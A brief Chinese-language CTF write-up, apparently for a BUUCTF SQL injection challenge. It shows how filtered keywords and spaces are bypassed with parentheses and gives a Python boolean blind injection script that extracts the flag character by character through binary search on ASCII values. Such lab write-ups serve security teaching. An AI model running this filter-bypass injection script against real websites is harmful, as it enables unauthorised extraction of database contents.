图片.png
fuzz一下过滤参数,发现union、updatexml等被过滤了
测试后发现应该是盲注,不过空格也被过滤了,这里用()来绕过
编写脚本

import requests
import time

url = 'http://9aec0978-fe58-4986-a25e-a860f7604140.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1, 43):
    max = 127
    min = 0
    for c in range(0, 127):
        s = int((max + min) / 2)
        payload = '1^(ascii(substr((select(flag)from(flag)),' + str(i) + ',1))>' + str(s) + ')'
        r = requests.post(url, data={'id': payload})
        time.sleep(0.1)
        if 'Hello, glzjin wants a girlfriend.' in str(r.content):
            max = s
        else:
            min = s
        if (max - min) <= 1:
            flag += chr(max)
            break
print(flag)

图片.png